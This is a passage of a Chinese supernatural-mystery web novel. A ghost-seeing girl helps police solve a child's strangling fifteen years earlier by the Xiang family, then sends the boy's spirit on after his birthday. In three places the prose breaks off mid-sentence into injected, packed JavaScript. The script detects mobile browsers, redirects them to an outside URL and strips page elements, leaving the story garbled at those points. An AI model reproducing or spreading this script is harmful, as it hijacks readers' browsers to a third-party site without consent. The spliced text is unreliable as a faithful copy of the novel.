万事屋越做越大的时候,他被眼红的鬼举报到地府。不仅万事屋被封,他考了几十年才考上的铁饭碗也没了,去地府受刑回来后成了孤魂野鬼。 原本不想再回桐岭,没想到一出地府,就被招了魂,惊疑不定之时,他发现自己在一家店门口,门口摆着花篮,看上去是刚开业的门店,一抬头,气派十足的牌匾上写着 ——刘友万事屋 “这...”刘友张着嘴,还没等反应过来,昔日一起工作的鬼友从屋里出来,拉响礼炮,在飘飘洒洒的彩纸中鬼友们一起喊着:“刘老板,欢迎回家!” “我...”刘友做鬼那么久第一次如此感动,“你们哪来的钱弄这个。” “小冬给的,喏,她在那。” 纷扬的礼花中,刘友看到十几年不见的姑娘,她依旧是那副冷冷无所谓的模样, 可是他知道,他都知道。 “小冬,长大了啊。” * 刘友很快把万事屋做了起来,没有官职的束缚,生意比之前更好了。他前阵子接到拾冬的委托,派了得力干将大虎去办,如今大虎任务完成前来交差,结果刚一下地,姑娘神色冷冷,双手交叉,吐出两个字:“跪下。” 一前一后扑通两声。 郁之看了看前几天自己刚认识的鬼兄弟,又看了看跪在脚边,嘴里含着糖不敢下咽的俊雄,指了指自己真诚发问; “我..我也要跪吗?” 8. 第 8 章 拾冬用一张符把郁之拒之门外,她先是看了大虎交过来的U盘,里面是向心弦被吓到大哭的画面,她没耐心看一个多小时的尖叫哭声,索性拉到最后,郁之说她昨天哭着跟向云黛道歉了,看来她真的以为是向云黛在作祟。 那个傻瓜,才不会报复人。 “我错了,姐,我错了,对不起,当时我太害怕了,我真的太害怕...” “对不起姐,对不起,真的对不起,我不该推你的,对不起…我真的没想过会这样,对不起…” 视频里向心弦跪倒在床上,不住磕头忏悔,拾冬有点想笑,不过自己目的也达到了,有这些素材,别说一个视频,剪十个都够了。 拾冬是睚眦必报的人,你利用我拍视频,那我也以同样的方式报复你,很公平吧。 拾冬不想在听她呜呜哇哇的哭声,正要关掉时, “你是不是那个小孩,是不是你,你到底是向云黛还是那个孩子,告诉我!” 视频里,向心弦头发凌乱,满脸泪痕抬起了头。 这时门外响起秦芬的声音,向心弦不理会,关了灯,再也没有说话。 “你认识她吗?”拾冬问坐在旁边的俊雄。 俊雄努力回想着,摇头又点头。 这是认识还是不认识,这时,拾冬注意到他脖子,“你把头抬起来。” 俊雄乖巧抬头,他的脖子有一道很细但皮肉外翻的勒痕。 这是他死亡的原因吗? 这么细的绳子,会是什么呢? 拾冬在电脑上搜索栏打下陈星二字,出来很多同名同姓的,翻了两三页才看到一则寻人启事,发布日期三天前,应该是陈家人。 一直到现在,他们都没放弃找陈星。 “你还有脸找儿子,你儿子杀了别人的孩子,这是你们家的报应!” “活该。” “去死吧,杀人犯。” “已点举报,不谢(手动狗头)” 拾冬把电脑调整了一下角度,分析起那则寻人启事, 陈星,男,七岁,2002年4月30号出生,桐岭本地人,身高1.3左右,2009年5月28号(端午节)于高原镇高原水库附近走失,走失时身穿蓝色格子衬衫,牛仔裤和黑色运动鞋,提供线索者,必有重谢,请拨打下方电话。 拾冬在网上搜索高原水库,离桐岭市区四五十公里,一个月前这里发现过一具白骨。 拾冬看了看旁边的俊雄。 “你认识这个地方吗?” 拾冬把从网上搜到的水库图片点给俊雄看,连续看了好几张后,俊雄指着其中一张说:“去过。” “你怎么会去那里?” “妈妈在那里教书,我和哥哥放学后会去玩。” 拾冬点了点头。 陈母在水库附近的学校教书,陈青陈星有理由出现在水库,可向心弦呢,她住着市区200多平房子的人,怎么会出现在郊区镇子的水库附近。 当时不过十一二岁的向心弦会一个人出现在这么远的地方吗? 如果不是一个人,是谁带她去的? 起码那个人得会开车吧。 眼前不自觉浮现向华旭的脸。 手机在这时响了一下,是丁照。 “我问过陈青母亲,她现在都不知道事发当时发生了什么,找到陈青时,陈青因为脑部撞现严重创伤,又因为溺水,在医院躺了一个多礼拜,醒来什么都不记得。得知弟弟失踪后,没多久就出现了精神问题。” “没报警吗?” “报了,不过当时水库附近没有监控,也没有及时安装防护措施,当地政府怕担责,坚持判定陈青是自己摔的,只登记了陈星失踪。” 陈青不记得,弟弟也不记得。 看来只有向家人记得了。 “姐姐,哥哥是因为我才伤害别人的吗?” “他会和我一样死掉吗?” 拾冬关上电脑,没有回答。 当务之急,要先找到陈星的尸体,会在水库吗? 拾冬从包里掏出刘友给的专属便笺,写了几行字后用打火机点燃,没几秒,纸消失在指尖。 * 向心弦发现视频又被举报了,而213事件的热度随着时间也不断下滑,最近大家都在关注宠物托运死亡的新闻,自己每天辛苦剪的视频也没多少点赞,视频下开始出现很多恶意评论, “别消费你姐了。” “你要真舍不得你姐,要不跟她一起去吧。” “听网上有人说,你和你姐关系并不好,事发当天有人看到你们吵架,所以你的人设是做出来的?” “就这么舍不得自媒体这碗饭吗?” 收益由最开始几万,到现在有时100都没有,来找自己的品牌报价也少了,就算有,给的利润低要求又多,东西还不好,向心弦好不容易起了号,不想坏了自己名声。 她每天刷热门视频,想看看别人发什么,科学类技术类学习类,她一个不懂,宠物也不行,她不喜欢猫猫狗狗,料理就更别提了,从没下过厨。 那还能发什么! 向心弦摔了手里的鼠标。 “心弦我进来了。”向华旭象征敲了两下门后直接推门进来了,看到向心弦一脸不高兴的模样,安抚性的摸了摸女儿的头,“我的宝贝怎么不高兴啦。” “没什么。”向心弦挥开爸爸的手,明摆着不想说话。 “女儿长大了有自己的心事了。”向华旭也不恼,坐在向心弦床边,“你是不是在烦最近网上骂你的事。” 委屈的时候,最听不得父母的安慰。 向心弦嘴一瘪,眼里涌起了泪。 一开始说我善良,要我不要内疚,发私信安慰我的是你们, 现在骂我做戏,虚伪,恶心的也是你们, 为什么,为什么要这样对我。 “别哭别哭。”向华旭把女儿椅子拉到自己跟前,抽过纸巾给她擦脸,“要是实在不开心咱就不做了,我最近又和过去朋友联系上了,把你安排进他们公司做个闲职轻轻松松。” “不...我不想上班,我就想做视频...”向心弦烦躁推开向华旭的手,“我不想朝五晚九挤地铁挤公交,我不想!” “好好好,那就不去。”向华旭顺着向心弦,看似不经意地说,“那你看这样好不好,你手里还有多少钱,我最近认识一个传媒公司的老板,他看了你的视频,觉得你不错,问我们投不投资,我们投资他的公司,他把你培养成公司头部,到时候我们又有资源又能当老板,两全其美不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姐姐不可置信又剧痛无比的眼神,在梦里一遍又一遍地出现过。 那是她们的最后一面。 “你们能不能出去一下,我有点累。” 向心弦看着压抑不满的父母,意识到,自己的报应来了。 她会变成第二个向云黛。 * 晚上拾冬收到万事屋的回信, ——大虎带了二十几个水鬼在水底搜了一天,鬼都泡发了,没看到小孩。 看来水库不是俊雄的藏尸地。 “俊雄,我们要出门了。” 俊雄点了点头,经过这两天相处,他没那么害怕拾冬了。 一人一鬼正要出门,门口传来砰砰砰声,郁之在门外邀功大喊:“师傅,我在门口抓到一个可疑鬼,开门啊师傅。” 他可别把隔壁老头供奉的老伴给抓了! 拾冬气势汹汹打开门,一开门,竟然是向云黛。 向云黛这几天在外面飘来荡去,无家可归,想想还是回来了,可刚到门口就被一个莫名其妙的鬼抓了,自己不过几天没回,难道阿冬就搬走了吗? 这时,门开了,还好是阿冬,可是她怎么有个孩子?! 向云黛不可置信瞪大眼,看了看孩子,又看了看抓着自己的鬼帅哥, “阿冬,你...违反科学了。” 拾冬:“?” 9. 第 9 章 年纪上来后,觉也跟着浅,向华旭下楼在厨房喝完水后,余光瞥到一楼敞开的房门,上楼的步子转了个方向。 房间都空了,小云死后,秦芬嫌不吉利把她的东西都扔了,还在房间做了法事,对外美名其曰是超度,其实自己心知肚明,他们都怕,都怕报应。 向华旭坐在床边,眼神放空了很久,回过神,正要起身上楼时,身后吹来一阵风,他以为是窗户没关,漫不经心走到窗前, 窗户是关着的。 玻璃映出自己瞬间紧绷的脸。 向华旭后背起了鸡皮疙瘩,喝过水的嗓子开始干痒起来,他拉上窗帘准备离开,快到门边时,身后的衣柜门吱了一声,那个衣柜很老,每次打开都会有声,可是.... 向华旭不敢回头。 “爸...” 向华旭脚一软跪倒在地,手脚并用爬出向云黛房间,没两步,手下传来冰凉的触感,一定睛,竟然是只脚,惊恐的视线慢慢往上.... “啊!” 不会的! 不可能! 他连扇了自己几个耳光,企图驱散眼前的幻觉,可是面前的人没有消失,反倒是不断朝自己靠近,眼睛流出血泪, “爸...我好痛...小云好痛...” “不要过来,不要过来,是我对不起你,我们全家都对不起你,对不起小云...” 向华旭语无伦次地道歉,一个劲地朝后爬去,爬到一半,后背撞上什么软软的东西,一回头,是一个七八岁的小孩,哪来的小孩,怎么会有小孩.. “叔叔,你还记得我吗?水库的水好冷...” “嘭” 脑子里有根线断了,他瞪大双眼,眼珠仿佛下一秒就要跌出眼眶。 “叔叔..你不记得我了吗...” “你是当年那个孩子...” “不是我!不是我!孩子,不是我做的,那天不是我...是...” “老公,你在跟谁说话。” 在两鬼一左一右的夹击中,一双拖鞋不急不缓出现在视线正中间,直到一个人蹲在自己面前, 头顶传来抚摸的触感,语气和动作一样轻柔,“老公,我们不是说好,那件事不准再提吗?” 头皮猛地一紧,双手抱头的向华旭被迫仰起,透过手臂缝隙,他看到因打针过度,卸了妆后,面目狰狞、浮肿的秦芬。 “你怎么能忘呢?我不是说过吗?不是说过吗?!” 向华旭已分不清面前是人是鬼。 地上,一股淡黄液体缓慢流出。 * “你说我爸妈...杀过人?”听完前因后果的向云黛一脸震惊,好一会儿都没有反应过来。 向家人嘴很严,即使吓成那样,他们还是不肯说出陈星在哪里,甚至在第二天立马找了大师做法事,现在外挂不好使了。 就差一步了。 “你还记得09年5月28号你们去了哪里吗?” 向云黛费劲想了会儿,像想起什么,问:“那天是不是端午节?” 拾冬查看当天日期,正是端午节。 “如果是那天的话,我记得,那天他们凌晨四五点才回。” “你怎么记得这么清楚?” “因为那天端午节,我从学校回家,忘带钥匙,在门口守了一晚。” “他们出门玩不带你?” 向云黛泛出苦笑。 “你好惨。”郁之从天花板倒立下来低情商安慰道。 “你怎么进来的?”拾冬看向贴了符的门口。 “山人自有妙计。”郁之一脸骄傲。 拾冬不再理会,靠在椅背上整理思路,即使她从向云黛口中得知事发当晚向家人一晚未归,但这不能成为证据,她得找到实际,能定向家人罪的东西。 “师父,你在想什么这么入迷。” 拾冬不吭声。 “师父,你真是个热心肠,为了星星这么努力。”郁之拍起马屁来,从口袋掏出糖递给俊雄,“星星,你能认识我师父真是三生有幸,你们怎么认识的?” 怎么认识的… 衣柜! 拾冬想起关键讯息了,俊雄一直说不认识向家人,可是为什么那晚会出现在向云黛的衣柜。 “你向家的衣柜里有什么?” “就..一些小时候的衣服吧,不过现在都没了。” 衣柜里一定有线索,可是现实生活中,她没有权利搜向家。 拾冬不自觉想起了丁照。 她低头给丁照发信息。 “正好我也有个朋友想见你,还是约在之前的地方吧,我带她过来。” “好。” 她们约在下午两点,拾冬刚一落座,橱窗外的三个鬼贴在玻璃上,呵呵呵冲自己笑。 都说了不要跟啊! 拾冬无语。 “这是我朋友,梁楹,她现在在市一局当警察。”丁照简单介绍了旁边看着干练的短发女孩。 “你好,我叫梁楹,请多关照。” 拾冬也简单介绍了一下,这时服务员走过来在三人面前各放下一个碟子,是上次自己点的巧克力蛋糕。 “梁楹想跟你聊聊向家人。” 看来丁照把线索告诉这个警察了。 “那我开始问了。”梁楹拿出笔记本开始发问。 梁楹问了许多关于向家的事,拾冬并不知道,可向云黛了解,她坐在自己身边,把自己知道的,通过拾冬的口全部说了出来。 “确保无误的话你在这签名。”梁楹递过笔录本。 拾冬接过,正查看时,听到梁楹问:“假口供是要付法律责任的,你确定向云黛跟你说的这些是真实的吗?” “确定。”拾冬按下签字笔。 “为什么?” “她是我朋友。”拾冬利落签下自己的名字。 “你别笑了,好猥琐。”郁之看着一旁笑得眼睛都快看不到的人,酸溜溜地讽刺。 “你管我。”向云黛眼眶通红,靠着拾冬底气十足地反驳,“你不懂我和阿冬之间的羁绊。” “呦呦呦,还羁绊呢,动漫看多了吧,这么中二。”郁之做出阴阳怪气Loopy表情包。 “总之你少打阿冬主意,她看不上你。”向云黛表情恶狠狠警告。 郁之隔着橱窗,一拍大腿,自证清白,“你不要玷污我们纯洁的师徒关系!” “切。” “你出来,你给我等着。” “略略略。” 好想打鬼啊。 拾冬眼一黑吃了口蛋糕。 结账时,拾冬自然想付自己吃的那份,虽然她没点,但吃了也没想占别人便宜。 丁照率先一步扫了码,机器“叮”一声中,她说:“谢谢你支持我的工作。” 拾冬收回手机,“不客气。” 丁照没忍住笑了,她真的好特别。 “我先回局里申请搜查令,到时候如果需要你配合,照照会给你打电话。” 拾冬点头,从刚刚行为举止中,能看中她们很熟。 “那我们先走了,需要送你吗?”丁照指了指自己的车。 “不用。” 坐不下。 看似一个人,实则四个人。 一人三鬼在站台等公交,云黛和郁之还就刚才问题争论不休,俊雄吃着糖乖巧站在拾冬身边,公交一辆接一辆,车上的人上上下下,风卷着花瓣,从眼前飘过,拾冬静静站在这熙熙攘攘的人间。 * “咚咚咚,咚咚咚” 门外响起有力的拍门声,秦芬一边敷着面膜,一边走到门边,“谁啊。” “你好,我们是桐岭市公安局,有几个问题想问,开一下门。” 秦芬狐疑按下门把。 门一开,为首的女警亮出自己的证件和搜查令,公事公办口吻说:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578692|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我们怀疑你们涉及一桩杀人案,请跟我们回所里配合调查。” “妈..”听到说话声的向心弦走下楼,看到门口的警察后,顿时明了,悬了十多年的剑终于掉下来了。 “向家三个人已经全部抓了,梁楹按照你说的,仔细搜了向云黛的衣柜,没有找到陈星,只在衣柜隔板抽屉里找到一个盒子,盒子里就一些零碎的东西。” 拾冬接到丁照发来的信息后迷惑了,衣柜里没有俊雄,那俊雄为什么会出现在衣柜,单纯玩cos吗? “零碎的东西是什么?” “几卷鱼线,两串手工做的风铃,还有一些发夹,耳环,项链什么的,看样子都是手工做的。” “是我的东西,他们经常不给我伙食费,我就偷偷做点手工,卖给同学。当时我爸开了个渔具小厂,家里到处都是鱼线,我拿几卷也不会被发现,鱼线很结实,做的东西不容易断。”云黛回忆道。 “你好惨。” 向云黛狠狠瞪了一眼倒挂在天花板的郁之。 鱼线。 拾冬盯着屏幕上的两个字,联想到俊雄脖子上的勒痕,给丁照发消息:“陈星是被鱼线勒死的,你看看梁楹那边能不能通过鱼线提取出陈星的DNA。” “我马上告诉她。”丁照十分有边界感,没问她是怎么知道陈星的死因。 “好,我现在要同事拿去化验。” 梁楹看着监控室里的三人,他们像提前统一了口径,不管问什么,都说不知道,不记得。 不过,梁楹看向快要坚持不住的向心弦,感觉可以从她入手。 * 面前放下一杯温水,向心弦茫然抬头,是位女警,她冲自己微微一笑,“喝点吧,这里是有点冷。” 向心弦眼泪不受控制流下,爸爸妈妈都不在,身边只有三个看上去很凶的男警察,他们好凶,一个劲儿地要我说,我不知道该说什么,我不能说。 “想不想回家?我看了你的房间,布置得很温馨,肯定比这里舒服吧。” 向心弦眼泪流得更凶。 “我还看了你发的视频,花花草草养得真好,我就不一样,我养什么死什么。” 向心弦在女警温和的嗓音中稍稍放松下来,她想擦擦眼泪,但没习惯手上戴着手铐,右手一抬扯到左手,没忍住嘶了一声。 “哭得跟我妹妹一样。”女警拿过纸巾温柔擦拭,“你写了好多关于你姐姐的事,你应该很想她吧。” 向心弦的嘴唇控制不住抖了起来,眼泪流了满脸。 姐姐没有了,姐姐死掉了, 是我害死的... “小姑娘,你知道吗?你当时年纪小,可以不用负刑事责任的,即使你杀了那个小男孩,你都是无罪的。” “我没有,我没有..”向心弦一个劲摇头,“我没有杀他..” 一说完意识到了不对,捂着嘴只留一双惊恐的眼睛。 女警将一张寻人启事伸到自己眼前,“你认识他吗?” 向心弦咬紧牙关摇头。 “他和你差不多大,你回家了,可是他没有,他的爸爸妈妈在等他回家,他的哥哥也在等他回家,你还见过他哥哥。” 向心弦泪眼里露出不解。 “213的凶手,就是陈星的哥哥。” 向心弦瞪大了眼睛,脑海里的碎片开始串联。 “星星!星星在哪里,星星,星星...” “你叫什么名字。” “我叫陈星,星星的星。” “哈哈哈,大猩猩的猩,你是大猩猩..” “我不是,我不是...” “你别在这钓鱼了,你把我爸的鱼都钓走了,你走开,走开...” “妈妈不要,不要,送他去医院吧,不要..” 向心弦颤抖着看向寻人启事上的内容。 陈星。 这一切全是报应。 “我说。” 10. 第 10 章 ---213恶性杀人事件有了新进展,据警方调查,213犯罪嫌疑人陈某的作案动机,系是见到了十五年前杀害弟弟的凶手所导致的失控杀人。 警方随后展开调查,确定向某旭(男,55岁)秦某(女,53岁)向某弦(女,25岁)三人有重大犯罪嫌疑,并实施抓捕,经查证,三人承认了作案事实。 目前,公安机关已依法对上述犯罪嫌疑人采取刑事强制措施。 案件正在进一步侦办中,相关进展情况将依法及时向社会公布。 “我怎么看不懂了,一开始不是说是随机杀人吗?” “我去!!!!!” “向心弦杀了人家弟弟,然后在网上博同情卖可怜,开直播赚钱,吃人血馒头迟早下地狱!” “我还给她打赏过!!还买过她推的东西!!!向心弦,你欠我的拿什么还!!” “向云黛死得好!你活该!” 拾冬针对这条点了举报。 事情到这里告一段落。 十五年前,陈青陈星原本打算一起去高原水库钓鱼,陈青同学正巧来找他踢球,便和弟弟约定踢完球就去找他。 球踢到天黑,陈青这才想起弟弟一直没回来,他急忙去找,意外看到向华旭夫妇正把弟弟抱进后备箱,弟弟一动不动。 他疯了般上前想抢回弟弟,可自己不是两个成年人的对手,他被秦芬推下水库,当时天黑,听到水声的向华旭夫妇自认为落水的陈青不可能生还,便赶紧驱车离开。 陈青漂到下游被人救起,虽然醒来什么都不记得,但在挣扎的时候,他记住了向心弦的声音。 “当初为什么要杀陈星,他被向心弦推下水,你们不是把他救起来了吗?完全可以送他去医院,为什么要杀他。” “送医院不花钱吗?他都半死不活了,万一脑子出问题,我们一辈子都要付医药费,还不如弄死算了。”秦芬神情萎靡,陷入了某种放空癫狂的状态,“家里没钱,房贷都要还不起了,哪来的钱付医药费,我都是为了这个家好,你们不懂,不懂我为这家付出了多少..” “他和你女儿差不多大,你怎么下得去手。” 秦芬空洞笑了起来,举起戴手铐的双手,“是啊,那么小一个孩子,挣扎的力气倒是不小,我手都勒出血了他还不死,我就一直勒一直勒,他终于不动了。” “死了,就把他埋了,我不是对他不好,我清明还给他烧过纸,不过不知道他的名字,也不知道他收到了没有。” “陈星,他叫陈星。”梁楹在纸上写下陈星的名字。 “陈星啊,我家宝贝也有个心呢。”秦芬对着那两个字流出泪来。 那卷残留陈星血的红色鱼线混在向华旭的后备箱里,那是向华旭新进的一批好货,他没舍得扔,偷偷带回了家,没想到被向云黛偷拿用来做成了风铃,藏在衣柜十几年,终于得以重见天日。 “这么说来,陈青杀死了掌握绝对证据的恩人?!”郁之听完前因后果,看向云黛,“你好惨。” “闭嘴。” 两女孩异口同声地说。 之后陈青如何定罪,向家人如何定罪,拾冬都不关心,一开始她的初衷也就是整向心弦而已,没想到会牵扯出其中命案。 “你们该回去了。”拾冬受不了这么小的屋子,他们每天在厨房,客厅噼里啪啦,吵得人心烦意乱。 “...我跟我姐说再晚两天,她同意了。”郁之说完指着向云黛,“该走的是你,再不抓紧投胎,没有好位置了。” 向云黛低头,嘴里嘟嘟囔囔:“要走也是你先走,我要待到最后。” “不可能,我肯定在你之后走,你这人奇奇怪怪的,我怕你对我师傅图谋不轨。” “我奇怪?没有你这个明明是活人还在这装鬼的人奇怪吧!我们两个相比,到底谁会对阿冬图谋不轨啊!” “是你是你就是你...” 为什么又吵起来了啊。 拾冬头疼欲裂,这时手机叮咚两声,一点开先是一笔转账,之后是丁照的信息, “不知道你这行的行情,我有事想拜托你。” 来活了。 头好像没那么疼了。 * 陈星抛尸在水库十公里外的一座荒山,向华旭曾经在那附近钓过鱼,而那座荒山正对着陈芝兰任教的小学。 “竟然埋在那,我每天都能看到,我每天都能看到啊...”陈芝兰得知陈星的抛尸地点后捶胸顿足, “星星,我们回家。” 陈青出狱了,考虑到陈家的经济能力,暂时安排他回家,不过每月会有工作人员上访,观察他的精神状况,一旦出现异常,还是会采取强制医疗的手段。 一家四口,以另一种形式团聚了。 “你为什么觉得我会?”拾冬在去陈家的路上问丁照。 “大概是直觉吧。”丁照开着车,一起同行的还有梁楹。 拾冬坐在后座,旁边跟着向云黛和郁之。 少了一个人,这次车子能坐下了。 “我给星星买了好多吃的,反正我要走了,工资再不花不就浪费了。”郁之提着一大包零食,说完自己拆了一包,“这个我没吃过,尝尝。” “那个给我吃一包。” “给钱,怎么还能白拿。”向云黛伸手要拿,被郁之拍了一掌,神情倨傲,“这可是我辛辛苦苦吓你妹得来的工资,你知道我为了复原那些被她弄碎的手链有多辛苦吗,这都是辛苦钱。” 拾冬脑子突然闪过什么,但又很快飘走了。 “给我吃一包怎么了,你那么小气找不到对象。” 向云黛冲过去要拿,郁之死死护住,“我不要谈恋爱,我有修道人的觉悟,我这辈子都要跟我师傅修行。” “你别在这欲盖弥彰,给我吃一包...” “不给..” 两个鬼在后座打了起来,被碰得东倒西歪的拾冬一股无名之火腾腾上升。 “你们再打都滚出去。” 丁照,梁楹:“.....” “那个,你在说我们吗?”女警梁楹一路上都在消化丁照说拾冬会通灵的事情,冷不丁这么出声,她更加难以消化了。 “不是说你们。”拾冬破罐子破摔了。 “呵呵呵....” 我怎么更害怕了呢。 见过不少尸体的梁楹第一次感到了玄学的力量。 * 陈家人忙活了一下午,丁照他们到的时候,最后一个菜刚做好。 “丁律师你们来了,快进来,地方小,别嫌弃。”陈芝兰喜气洋洋地笑着,虽然还是满头白发,但精气神和在法庭的时候浑然不同。 三人进屋,房子不过四十来平,很干净,供台上摆着陈星的照片,旁边放着新鲜的花。 陈广围着围裙端出刚做好的红烧排骨,憨厚的脸上也是一脸笑意。 星星看到郁之来了,高兴得手舞足蹈,在父母身边待久了,他脸上又恢复七岁孩子的童真。 “星星在这吗?”陈芝兰一眼就注意到了拾冬的视线,颤着手指了指沙发方向。 大家都知道她是来干什么的,拾冬不遮掩地点头,顺道告状,“他在偷吃零食。” 把薯条往嘴里塞的星星:“?” “星星不可以,要吃晚饭了。”陈芝兰眼含泪嗔怪道。 星星乖乖把薯条放回去。 不大的圆桌坐六个人有些逼仄,更何况还空了一个位置给星星。 星星坐在正中间,开心得眯了眼。 “丁律师,梁警官,”陈广在拾冬这里顿了一下,“天师…” 天师拾冬狠狠剜了一眼在沙发上笑岔气的两鬼。 “什么天师,你会不会讲话..” “是是是...我大老粗不会讲,我们家陈老师来说....”陈广爽朗笑着,把话语权交给妻子。 陈芝兰端着酒杯站起来,喉头滚了好几下才哽咽开口: “丁律师,你在我们家最走投无路的时候,接下我们的案子,为陈青辩护,网上那些骂你的话我都看了,我一边心痛,一边又敬佩你的勇气。我替那些和我有同样困境的人谢谢你,真的谢谢你...” “还有梁警官,为了星星的案子来回奔波,真的辛苦你了。我知道陈青犯了不可饶恕的大错,不管是什么原因,陈青都杀了人,我陈家也在这跟梁警官保证,我们就算倾家荡产也会把该赔的钱赔上..” 陈芝兰最后把酒杯对向拾冬,即使已经哽咽到需要靠深呼吸才能稳定情绪,她还是用充满感激的眼神对拾冬说:“姑娘,谢谢你,谢谢你把星星带回来,谢谢。” “不愧是老师,把我都说感动了...” “我也是...” 听到沙发上两鬼擤鼻涕声的拾冬:“.....” “好了好了,要你说两句,你还职业病犯了把气氛搞这么沉重。大家来,喝酒,吃饭,我这人别的不会,烧菜的手艺可是顶呱呱。” 陈广难为情抹了一把脸,率先把杯子里的酒一饮而尽,星星也跟着大家一起举杯,拾冬眼尖,看到俊雄手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578693|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的饮料包装,这不刘友之前最爱喝的小甜酒吗? “等一下...”拾冬出声制止已经来不及了,星星咕嘟咕嘟下肚没两秒,身子一滑倒了下去。 “我去,我还以为是饮料呢。”郁之蹲在地上看饮料瓶上的度数,懵懵懂懂问拾冬,“200度的酒,星星等会会不会自燃啊。” 拾冬捏紧酒杯,发誓明天一定要把他送走。 好在郁之及时买来了醒酒药,大家虽然对拾冬的身份好奇,但问了几句后发现拾冬并无意愿深谈,于是很有分寸感地转移话题,这饭吃得也算尽兴。 快8点的时候,大家已经吃完,陈广收拾干净桌子,摆上水果和茶,这时,房里灯忽然熄灭了。 “祝你生日快乐..祝你生日快乐...” 刚刚神秘兮兮进房的陈青和陈芝兰端着蛋糕从房里走了出来,陈青因为在看守所受到了惊吓,唱歌的声音都带着怯弱和生硬,但他的调子是愉悦的。 “今天是我的生日!”星星老早就坐在了主位上,笑眯眯地说:“妈妈以为蛋糕藏得很好,其实我早就看到了。” 拾冬看了一眼手机。 4月30号。 今天是陈星生日。 蛋糕上插着一个蜡烛8,大家围在桌前一起庆祝陈星没等到的8岁生日。 “我要许愿啦。”星星摇头晃脑对着他7岁生日时就念叨的足球模样的蛋糕,双手交叉虔诚闭上了眼,许完愿后,他吹灭了蜡烛。 四周一片黑暗时,他听到妈妈哽咽的声音,“姑娘...开始吧。” “好。” 拾冬不是来吃饭的,她是来送走陈星的。 * “不要..我不要...妈妈...爸爸...放我出去..” 陈星困在往生阵中,刚想往前一步就被阵法弹了回去,他不明白为什么妈妈要把自己送走,妈妈不要我了吗? “星星,你听妈妈说,你是妈妈的孩子,我舍不得你,想把你留在身边...可是...” 陈芝兰哭着跪倒在阵边,她看不到陈星,但母子连心,她能感应到,她都知道, “星星,妈妈,爸爸,都想你忘了这一切,去一个幸福的家庭,我们家还有很多债要还,哥哥也许不会再好。 你从小就善良,知道家里有难处每次都主动帮忙做家务。要是那天没有要你出门就好了…我每天都在后悔。 你如果一直待在这,看到我们家这样,你会不开心,你会难过,你会责怪自己,可是宝宝,你没有错,妈妈不会怪你..” 陈星在阵法中哭到无声。 “星星,听妈妈的话,爸爸会好好照顾妈妈和哥哥,听话..啊..” “可以开始了吗?”拾冬在一旁冷静发问,只要她念咒,陈星很快就会消失。 陈芝兰点头。 “等...等一下..”陈星哭着阻止,他走到陈青旁边,陈青出狱后,他们兄弟俩经常一起睡,即使陈青看不到自己,但是睡在哥哥身边,他还是好踏实。 “哥哥,我要走了,你要快点好起来,替我照顾爸爸妈妈,不要怪自己了..” 陈星颤抖着在空气中画下一颗星星,这是他们吵架后的和好暗号。 不知道发生什么,但也乖乖站在阵边陈青像听到什么,茫然抬头,恍然间,他回到十四岁那年,他们约好钓完鱼,一起回家过端午。 “哥,我今天一定钓条大鱼回来。” “切,就你..我去踢球了,你等会来找我。” “好,拜拜。” “拜拜。” 二十九岁的陈青说。 恩怨已了,尘缘当断,一盏明灯照黄泉——渡!① * 大家一起吃完陈星的生日蛋糕后,丁照受不了屋里的气氛便提出离开。 出门前,拾冬犹豫片刻,问陈芝兰要来了纸笔,写了几行字,折好交到陈芝兰手里。 “这...” 拾冬示意陈芝兰自己看,便和丁照等人离开了。 陈芝兰一直等脚步声消失才关上门,在陈广的注视下打开手里的纸, “第一个,爸爸妈妈身体健康。” “第二个,哥哥快点好起来,我们还能一起去钓鱼。” “第三个,下辈子我能活久一点,还要和爸爸妈妈,哥哥当一家人。” “傻孩子。” 陈芝兰颤抖着把纸放到供台,凝视着照片上的人, “生日快乐星星。” 照片里的陈星一脸笑意。 11. 第 11 章 回到家后,拾冬脑子乱乱的,在沙发上坐了会儿发呆,正当准备回房休息时,郁之提出,明天想回魂。 “可以。”拾冬不痛不痒回复。 “如果我回去,会忘记现在的一切吗?”郁之目不转睛盯着拾冬,眼里似乎有其他想表达的内容。 但是对方没有深究,淡淡回答:“不会。” “是吗?那就好。”郁之别过头一笑,又恢复刚刚没心没肺的模样,“我明天上午回去,下午就来找你拜师。你明天收拾收拾,搬到我家去,我家大得很...” “嘭..” 拾冬利落用门隔断他的絮絮叨叨。 郁之看了看那扇紧闭的门,余光瞥到沙发上发呆的向云黛,正要开口调侃,结果发现她哭了,向云黛埋在双膝,哽咽声断断续续,“为什么死的是我...为什么,我不想和你们分开。为什么偏偏是我死了...” 熬了二十几年,终于和过去的朋友联系上了,为什么马上又要分开了。 向云黛想不明白。 郁之难得收起嬉皮笑脸,伸手拍了拍她颤抖的肩,故作深沉道:“你这一生,原本就是不值得..” “滚!” * 